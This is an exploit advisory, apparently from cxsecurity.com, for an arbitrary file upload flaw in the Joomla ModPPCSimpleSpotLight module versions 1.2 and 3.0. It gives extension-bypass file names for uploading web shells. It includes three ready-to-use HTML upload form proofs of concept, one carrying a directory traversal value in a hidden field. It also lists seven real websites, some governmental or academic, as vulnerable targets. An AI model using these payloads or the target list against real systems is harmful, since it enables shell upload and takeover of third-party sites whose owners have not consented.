Joomla ModPPCSimpleSpotLight Modules 1.2/3.0 CSRF Backdoor Access Vulnerability

2019.03.04
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

############################################################################### # Exploit Title : Joomla ModPPCSimpleSpotLight Modules 1.2/3.0 CSRF Backdoor Access Vulnerability # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 04/03/2019 # Vendor Homepage : pixelpointcreative.com # Software Download Link : pixelpointcreative.com/joomla/downloads/category/40-simple-spotlight # Software Information Link : extensions.joomla.org/extension/simple-spotlight/ bestofjoomla.com/component/option,com_mtree/task,viewlink/link_id,1547/Itemid,95/ # Software Version : 1.2 and 3.0 # Software Price Type : Free/Paid Download # Solution : Upgrade and Update to 3.1 or higher version # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Vulnerability Type : CWE-264 [ Permissions, Privileges, and Access Controls ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ############################################################################### # Description about Software : *************************** Simple spotlight is a jQuery image rotator with navigation for Joomla. ############################################################################### # Impact : *********** Joomla ModPPCSimpleSpotLight 1.2/3.0 versions is prone to an arbitrary file upload vulnerability. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. ############################################################################### # Arbitrary File Upload / Unauthorized File Insertation / Shell Upload Backdoor Access Exploit : ********************************************************************************** /modules/mod_ppc_simple_spotlight/elements/upload_file.php # Directory File Path : ********************* /modules/mod_ppc_simple_spotlight/img/....... # Note : It is possible to upload shell files like this => Sh3LL.php.gif - Sh3LL.php;.gif - Sh3LL.asp;.jpeg Sh3LL.php;.gif ;.jpeg - Sh3LL.php;.swf ;.flv .jpg .jpeg .gif .png It says : File Uploaded Successfully! ############################################################################### Cross Site Request Forgery Exploits : ********************************** CSRF Exploiter PoC 1 => ************************ <form action="example.com/[PATH]/modules/mod_ppc_simple_spotlight/elements/upload_file.php" method="post" enctype="multipart/form-data" > <input name="Images" type="file" class="submit" size="80"> <input type="submit" value="Upload !"> </form> ############################################################################### CSRF Exploiter PoC 2 => ************************* <form enctype="multipart/form-data" action="https://[VULNERABLESITE]/modules/mod_ppc_simple_spotlight/elements/upload_file.php" method="post"> Your File: <input name="upload_file" type="file" /><br /> <input type="hidden" name="dir_icons" value="../../../../"> <input type="submit" value="upload" /> </form> ############################################################################### CSRF Exploiter PoC 3 => ************************* </script> <form name="newad" method="post" enctype="multipart/form-data" action="https://[VULNERABLESITE]/modules/mod_ppc_simple_spotlight/elements/upload_file.php" method="post"> <table> <tr> <td> <input type="file" name="image"> </td> </tr> <tr> <td> <input name="Submit" type="submit" value="Upload image"> <input type="button" value="Close" onclick="javascript: refreshParent()"> </td> </tr> </table> </form> ############################################################################### # Example Vulnerable Sites : ************************* [+] velb.com.br/modules/mod_ppc_simple_spotlight/elements/upload_file.php [+] chambre-hotes-lyon.fr/modules/mod_ppc_simple_spotlight/elements/upload_file.php [+] doc.ncnu.edu.tw/rnd/modules/mod_ppc_simple_spotlight/elements/upload_file.php [+] hjasin.moh.gov.my/modules/mod_ppc_simple_spotlight/elements/upload_file.php [+] lce.ac.ls/modules/mod_ppc_simple_spotlight/elements/upload_file.php [+] esg.edu.ar/modules/mod_ppc_simple_spotlight/elements/upload_file.php [+] launion.go.cr/modules/mod_ppc_simple_spotlight/elements/upload_file.php #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top